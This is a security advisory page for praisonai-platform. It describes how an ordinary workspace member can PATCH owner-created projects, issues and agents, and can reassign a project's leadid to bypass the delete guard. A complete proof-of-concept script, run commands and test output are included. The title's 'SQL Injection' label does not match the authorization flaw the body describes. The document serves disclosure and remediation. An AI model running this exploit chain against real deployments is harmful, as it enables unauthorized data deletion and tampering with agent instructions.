GHSA-c78w-2q4r-68r7: SQL Injection

Published Oct 8, 2026
·
Updated

Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass

Summary

praisonai-platform lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch leadid to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned 403 before the reassignment.

Technical Details

The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". src/praisonai-platform/praisonaiplatform/api/deps.py defines requireworkspacemember, requireworkspaceadmin, requireworkspaceowner, and requiredeletepermission. requireworkspacemember only checks that the caller has at least the member role in the workspace, while requiredeletepermission allows delete only for workspace admins/owners or the resource owner.

The project update route in src/praisonai-platform/praisonaiplatform/api/routes/projects.py defines PATCH /workspaces/{workspaceid}/projects/{projectid} with user: AuthIdentity = Depends(requireworkspacemember). It passes title, description, status, leadtype, and leadid into ProjectService.update. src/praisonai-platform/praisonaiplatform/services/projectservice.py then writes project.leadid = leadid when supplied. The paired project delete route first loads the project and calls requiredeletepermission(workspaceid, user, session, resourceownerid=project.leadid). This means an ordinary member can mutate the ownership field that the delete route later trusts.

The same update/delete asymmetry exists for issues and agents. src/praisonai-platform/praisonaiplatform/api/routes/issues.py defines PATCH /workspaces/{workspaceid}/issues/{issueid} with only requireworkspacemember, validates referenced ids are in the workspace, then calls IssueService.update to write fields including title, description, status, priority, assigneeid, and projectid. The paired delete route checks resourceownerid=issue.creatorid. src/praisonai-platform/praisonaiplatform/api/routes/agents.py defines PATCH /workspaces/{workspaceid}/agents/{agentid} with only requireworkspacemember and calls AgentService.update to write fields including instructions, runtimemode, and runtimeconfig; the paired delete route checks resourceownerid=agent.ownerid.

The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.

PoV

the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service.

Essential excerpt:

python directdeleteproject = await client.delete( f"/api/v1/workspaces/{workspaceid}/projects/{projectid}", headers=memberheaders, )

patchproject = await client.patch( f"/api/v1/workspaces/{workspaceid}/projects/{projectid}", json={ "title": "Member-controlled project", "status": "active", "leadtype": "member", "leadid": memberid, }, headers=memberheaders, )

deleteprojectaftertakeover = await client.delete( f"/api/v1/workspaces/{workspaceid}/projects/{projectid}", headers=memberheaders, )

patchissue = await client.patch( f"/api/v1/workspaces/{workspaceid}/issues/{issueid}", json={"title": "Member rewrote owner issue", "status": "done"}, headers=memberheaders, )

patchagent = await client.patch( f"/api/v1/workspaces/{workspaceid}/agents/{agentid}", json={"instructions": "member-controlled instructions", "status": "idle"}, headers=memberheaders, )

outsiderpatchissue = await client.patch( f"/api/v1/workspaces/{workspaceid}/issues/{issueid}", json={"title": "outsider attempt"}, headers=outsiderheaders, )

The full PoV script is included in the appendix below as povplatformmemberupdatebypass.py.

PoC

Current head tested:

text 846568c7a5d8ce9e71e56e4c213f027c04909753 2026-06-17T20:13:04+01:00 chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

sh uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python povplatformmemberupdatebypass.py --repo /path/to/PraisonAI --json

Decisive current-head output:

json { "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753", "workspacerole": "member", "checks": { "memberdirectprojectdeletebeforepatch": 403, "memberprojectpatchleadtoself": 200, "memberprojectdeleteafterleadtakeover": 204, "ownergetprojectaftermemberdelete": 404, "memberissuepatch": 200, "ownerobservesmemberissuetitle": "Member rewrote owner issue", "memberissuedeleteafterpatch": 403, "memberagentpatch": 200, "ownerobservesmemberagentinstructions": "member-controlled instructions", "memberagentdeleteafterpatch": 403, "nonmemberissuepatch": 403 }, "vulnerable": true }

Run against the latest PyPI package observed during testing:

sh uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python povplatformmemberupdatebypass.py --json

Decisive latest-PyPI output:

json { "source": "pypi:praisonai-platform==0.1.8", "workspacerole": "member", "checks": { "memberdirectprojectdeletebeforepatch": 403, "memberprojectpatchleadtoself": 200, "memberprojectdeleteafterleadtakeover": 204, "ownergetprojectaftermemberdelete": 404, "memberissuepatch": 200, "ownerobservesmemberissuetitle": "Member rewrote owner issue", "memberissuedeleteafterpatch": 403, "memberagentpatch": 200, "ownerobservesmemberagentinstructions": "member-controlled instructions", "memberagentdeleteafterpatch": 403, "nonmemberissuepatch": 403 }, "vulnerable": true }

Version sweep excerpt:

text praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior. praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403. praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.

Impact

An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning leadid through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.

Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L (7.1). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.

Suggested Fix

Apply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route's owner/admin check for PATCH routes, or introduce a requireupdatepermission helper that allows workspace admins/owners and the relevant resource owner only.

For projects, do not let an ordinary member set leadid on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.

Add regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project leadid to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives 403.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The owner/admin update authorization gap is confirmed in sampled versions 0.1.4, 0.1.6, 0.1.8, and current head. The specific project delete-guard bypass through leadid reassignment is confirmed in 0.1.6, 0.1.8, and current head. In 0.1.4, direct member deletes already returned 204, so the lead-reassignment chain is masked by a broader older delete issue.

Suggested affected range for the update authorization gap: pypi:praisonai-platform >=0.1.4, <=0.1.8. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project leadid delete-guard bypass.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with 403, then PATCH succeeds, then DELETE succeeds only after leadid is reassigned through the update route.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled projectid reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.

GHSA-gv23-xrm3-8c62, GHSA-6h6v-6m7w-7vxx, GHSA-943m-6wx2-rc2j, GHSA-xwq8-frcg-77q8, and GHSA-7p8g-6c6g-h9w7 cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning 403.

References

- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7 - https://cwe.mitre.org/data/definitions/862.html - https://cwe.mitre.org/data/definitions/863.html

Appendix A - Longer Version Sweep

text === praisonai-platform 0.1.4 === "memberdirectprojectdeletebeforepatch": 204 "memberprojectpatchleadtoself": 404 "memberissuepatch": 200 "memberagentpatch": 200 "memberissuedeleteafterpatch": 204 "memberagentdeleteafterpatch": 204 "nonmemberissuepatch": 403

=== praisonai-platform 0.1.6 === "memberdirectprojectdeletebeforepatch": 403 "memberprojectpatchleadtoself": 200 "memberprojectdeleteafterleadtakeover": 204 "ownergetprojectaftermemberdelete": 404 "memberissuepatch": 200 "memberissuedeleteafterpatch": 403 "memberagentpatch": 200 "memberagentdeleteafterpatch": 403 "nonmemberissuepatch": 403

=== praisonai-platform 0.1.8 === "memberdirectprojectdeletebeforepatch": 403 "memberprojectpatchleadtoself": 200 "memberprojectdeleteafterleadtakeover": 204 "ownergetprojectaftermemberdelete": 404 "memberissuepatch": 200 "memberissuedeleteafterpatch": 403 "memberagentpatch": 200 "memberagentdeleteafterpatch": 403 "nonmemberissuepatch": 403

Appendix B - Full PoV Script

Save this as povplatformmemberupdatebypass.py before running the PoC commands above.

python #!/usr/bin/env python3 """PoV for PraisonAI Platform same-workspace member update bypass."""

from future import annotations

import argparse import asyncio import json import os import sys from pathlib import Path from typing import Any

def loadlocalsource(repo: Path | None) -> None: if repo is None: return platformroot = repo / "src" / "praisonai-platform" agentsroot = repo / "src" / "praisonai-agents" for path in (str(platformroot), str(agentsroot)): if path not in sys.path: sys.path.insert(0, path)

async def register(client: Any, email: str, name: str) -> tuple[str, str]: response = await client.post( "/api/v1/auth/register", json={"email": email, "password": "Password1!", "name": name}, ) if response.statuscode >= 400: raise RuntimeError(f"register failed for {email}: {response.statuscode} {response.text}") body = response.json() return body["token"], body["user"]["id"]

async def run(repo: Path | None) -> dict[str, Any]: os.environ["PLATFORMJWTSECRET"] = "local-poc-secret-32-bytes-minimum" loadlocalsource(repo)

from httpx import ASGITransport, AsyncClient from sqlalchemy.ext.asyncio import createasyncengine

from praisonaiplatform.api.app import createapp from praisonaiplatform.db import base as basemod from praisonaiplatform.db.base import Base, resetengine

await resetengine() engine = createasyncengine( "sqlite+aiosqlite:///:memory:", echo=False, connectargs={"checksamethread": False}, ) basemod.engine = engine basemod.sessionfactory = None async with engine.begin() as conn: await conn.runsync(Base.metadata.createall)

app = createapp() transport = ASGITransport(app=app) async with AsyncClient(transport=transport, baseurl="http://local-poc") as client: ownertoken, ownerid = await register(client, "owner@example.com", "Owner") membertoken, memberid = await register(client, "member@example.com", "Member") outsidertoken, = await register(client, "outsider@example.com", "Outsider")

ownerheaders = {"Authorization": f"Bearer {ownertoken}"} memberheaders = {"Authorization": f"Bearer {membertoken}"} outsiderheaders = {"Authorization": f"Bearer {outsidertoken}"}

wsresp = await client.post( "/api/v1/workspaces/", json={"name": "Shared Workspace", "slug": "shared-workspace"}, headers=ownerheaders, ) wsresp.raiseforstatus() workspaceid = wsresp.json()["id"]

addmember = await client.post( f"/api/v1/workspaces/{workspaceid}/members", json={"userid": memberid, "role": "member"}, headers=ownerheaders, ) addmember.raiseforstatus()

projectresp = await client.post( f"/api/v1/workspaces/{workspaceid}/projects/", json={ "title": "Owner project", "description": "Owned by the workspace owner", "leadtype": "member", "leadid": ownerid, }, headers=ownerheaders, ) projectresp.raiseforstatus() projectid = projectresp.json()["id"]

directdeleteproject = await client.delete( f"/api/v1/workspaces/{workspaceid}/projects/{projectid}", headers=memberheaders, )

patchproject = await client.patch( f"/api/v1/workspaces/{workspaceid}/projects/{projectid}", json={ "title": "Member-controlled project", "status": "active", "leadtype": "member", "leadid": memberid, }, headers=memberheaders, )

deleteprojectaftertakeover = await client.delete( f"/api/v1/workspaces/{workspaceid}/projects/{projectid}", headers=memberheaders, ) ownergetdeletedproject = await client.get( f"/api/v1/workspaces/{workspaceid}/projects/{projectid}", headers=ownerheaders, )

issueresp = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/", json={"title": "Owner issue", "priority": "high"}, headers=ownerheaders, ) issueresp.raiseforstatus() issueid = issueresp.json()["id"]

patchissue = await client.patch( f"/api/v1/workspaces/{workspaceid}/issues/{issueid}", json={"title": "Member rewrote owner issue", "status": "done"}, headers=memberheaders, ) ownergetissue = await client.get( f"/api/v1/workspaces/{workspaceid}/issues/{issueid}", headers=ownerheaders, ) deleteissue = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{issueid}", headers=memberheaders, )

agentresp = await client.post( f"/api/v1/workspaces/{workspaceid}/agents/", json={"name": "OwnerAgent", "instructions": "owner-only instructions"}, headers=ownerheaders, ) agentresp.raiseforstatus() agentid = agentresp.json()["id"]

patchagent = await client.patch( f"/api/v1/workspaces/{workspaceid}/agents/{agentid}", json={"instructions": "member-controlled instructions", "status": "idle"}, headers=memberheaders, ) ownergetagent = await client.get( f"/api/v1/workspaces/{workspaceid}/agents/{agentid}", headers=ownerheaders, ) deleteagent = await client.delete( f"/api/v1/workspaces/{workspaceid}/agents/{agentid}", headers=memberheaders, )

outsiderpatchissue = await client.patch( f"/api/v1/workspaces/{workspaceid}/issues/{issueid}", json={"title": "outsider attempt"}, headers=outsiderheaders, )

await engine.dispose() basemod.engine = None basemod.sessionfactory = None

ownerissuebody = ownergetissue.json() if ownergetissue.statuscode == 200 else {} owneragentbody = ownergetagent.json() if ownergetagent.statuscode == 200 else {} patchprojectbody = patchproject.json() if patchproject.statuscode == 200 else {}

checks = { "memberdirectprojectdeletebeforepatch": directdeleteproject.statuscode, "memberprojectpatchleadtoself": patchproject.statuscode, "memberprojectdeleteafterleadtakeover": deleteprojectaftertakeover.statuscode, "ownergetprojectaftermemberdelete": ownergetdeletedproject.statuscode, "memberissuepatch": patchissue.statuscode, "ownerobservesmemberissuetitle": ownerissuebody.get("title"), "memberissuedeleteafterpatch": deleteissue.statuscode, "memberagentpatch": patchagent.statuscode, "ownerobservesmemberagentinstructions": owneragentbody.get("instructions"), "memberagentdeleteafterpatch": deleteagent.statuscode, "nonmemberissuepatch": outsiderpatchissue.statuscode, } vulnerable = ( checks["memberdirectprojectdeletebeforepatch"] == 403 and checks["memberprojectpatchleadtoself"] == 200 and patchprojectbody.get("leadid") == memberid and checks["memberprojectdeleteafterleadtakeover"] == 204 and checks["ownergetprojectaftermemberdelete"] == 404 and checks["memberissuepatch"] == 200 and checks["ownerobservesmemberissuetitle"] == "Member rewrote owner issue" and checks["memberissuedeleteafterpatch"] == 403 and checks["memberagentpatch"] == 200 and checks["ownerobservesmemberagentinstructions"] == "member-controlled instructions" and checks["memberagentdeleteafterpatch"] == 403 and checks["nonmemberissuepatch"] == 403 ) return { "package": "praisonai-platform", "source": sourceid(repo), "workspacerole": "member", "summary": "A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.", "checks": checks, "vulnerable": vulnerable, }

def sourceid(repo: Path | None) -> str: if repo is None: import importlib.metadata

return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}" import subprocess

rev = subprocess.checkoutput( ["git", "-C", str(repo), "rev-parse", "HEAD"], text=True, ).strip() return f"git:{rev}"

def main() -> int: parser = argparse.ArgumentParser() parser.addargument("--repo", type=Path) parser.addargument("--json", action="storetrue") args = parser.parseargs()

result = asyncio.run(run(args.repo.resolve() if args.repo else None)) if args.json: print(json.dumps(result, indent=2, sortkeys=True)) else: for key, value in result["checks"].items(): print(f"{key}: {value}") print(f"vulnerable: {result['vulnerable']}") return 0 if result["vulnerable"] else 1

if name == "main": raise SystemExit(main())

Affected Software

1 affected componentFixes available
pip/praisonai-platform<=0.1.8
0.1.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai-platform to a version that resolves this vulnerability.

    Fixed in 0.1.9
  2. Configuration

    Apply an owner/admin or resource-specific update guard before mutating project, issue, or agent records, rather than relying only on require_workspace_member; mirror the delete route's owner/admin check or introduce a require_update_permission helper.

    PraisonAI Platform project, issue, and agent PATCH routes resource-specific update authorization = Allow workspace admins/owners and the relevant resource owner only
  3. Configuration

    Treat lead reassignment as an admin/owner operation and validate the replacement lead's workspace membership and role eligibility before updating lead_id.

    PraisonAI Platform project PATCH route lead_id reassignment authorization and validation = Workspace admins/owners only; the new lead must belong to the workspace and be eligible for that role

Event History

Oct 8, 2026
Advisory Published
via GitHub·10:01 PM
Data Sourced
via GitHub·10:01 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue?

Any authenticated user with at least the member role in the affected workspace can exploit it. The user does not need workspace administrator or owner privileges.

2

What access does an attacker need to delete an owner-created project?

The attacker must be able to call the project PATCH route for the workspace and project. They can change the project's lead_id to their own user ID, then satisfy the delete route's resource-owner check and delete the project.

3

Which resources can a workspace member modify without being the owner?

Workspace members can patch owner-created project, issue, and agent records. The described delete bypass specifically applies to projects after the member reassigns the project lead to themselves.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203